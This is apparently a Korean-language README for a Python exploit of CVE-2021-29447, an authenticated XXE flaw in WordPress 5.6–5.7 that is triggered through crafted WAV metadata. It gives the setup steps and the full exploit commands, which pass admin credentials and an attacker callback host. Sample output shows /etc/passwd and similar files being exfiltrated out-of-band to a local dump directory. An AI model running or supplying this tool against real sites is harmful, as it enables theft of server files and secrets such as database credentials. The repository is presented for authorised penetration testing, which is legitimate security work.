
POC to exploit WordPress 5.6-5.7 (PHP 8+) Authenticated XXE Injection.
Python PoC로 WordPress 5.6–5.7 버전의 인증된 XXE 취약점(CVE-2021-29447)을 WAV 메타데이터를 통해 익스플로잇합니다. WAV 파일의 iXML 청크를 악용하여 중요한 데이터(예: /etc/passwd, wp-config.php 등)를 Out-of-Band (OOB) 방식으로 유출하여 dump/ 디렉토리로 바로 전송합니다.
이 스크립트는 WordPress가 WAV 메타데이터를 파싱하는 방식의 XML 외부 엔티티 (XXE) 결함을 활용합니다:
/etc/passwd)을 읽고 Base64로 인코딩하도록 지시합니다.dump/에 기록합니다.-i): CTRL+C까지 파일 경로를 입력받음 – 임시 탐색에 유용.-w <file>): 목록에서 수십 개의 파일 경로를 일괄 처리.--no-http): 내장 서버 대신 자체 웹서버 사용.--debug): 상세한 HTTP 및 내부 디버그 로그 확인.[CONFIG], [UPLOAD], [DUMP], [WARN], [ERROR])로 빠른 상태 확인.git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
pip3 install requests
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local -i
[CONFIG] Interactive mode (CTRL+C to exit)
File> /etc/passwd
[CONFIG] DTD written: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV built
[INFO] Nonce: d87f00a552
[DUMP] Dumped: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulnerable.local/wp-content/uploads/payload.wav
File>
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local -w wordlist.txt
[CONFIG] Loaded 4 paths from "wordlist.txt"
[CONFIG] Using HTTP server at 10.10.14.8:8080
[CONFIG] Starting batch exfiltration...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] No exfil for /etc/hostname within 6s, continuing
[UPLOAD] Upload ok (200)
[ERROR] Upload fail (502) on "/nonexistent"
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local --no-http --debug -w wordlist.txt
자체 HTTP 서버를 사용하여
dtd/를 호스팅하고 콜백을 캡처하세요. 디버그 로그는[DEBUG]로 나타납니다.
dtd/ – 대상에 제공된 생성된 DTD 파일.dump/ – 디코딩된 파일 내용, 원래 경로 이름으로 저장.EXFIL_TIMEOUT 변수 변경 (기본 6초).--debug 활성화.이 도구는 소유하고 있거나 테스트할 명시적 권한이 있는 시스템에서만 사용하세요.
MIT 라이선스에 따라 라이선스가 부여됩니다. 기여 환영합니다—해킹을 윤리적이고 재미있게 유지합시다! ✨
| 인수 | 필수 | 설명 |
|---|
-H, --host | ✅ | DTD 제공 및 콜백 수신을 위한 로컬 호스트/IP |
-p, --port | ✅ | HTTP 서버의 로컬 포트 |
-u, --user | ✅ | 업로드 권한이 있는 WordPress 사용자 이름 |
-P, --pass | ✅ | WordPress 비밀번호 |
-d, --domain | ✅ | 대상 WordPress URL (http:// 포함) |
-w, --wordlist | ❌ | 가져올 경로가 개행으로 구분된 파일 |
-i, --interactive | ❌ | 파일 경로를 대화식으로 입력받음 |
--no-http | ❌ | 내장 HTTP 서버 시작 건너뛰기 |
--debug | ❌ | 디버그 로그 활성화 (상세 HTTP 및 내부 정보) |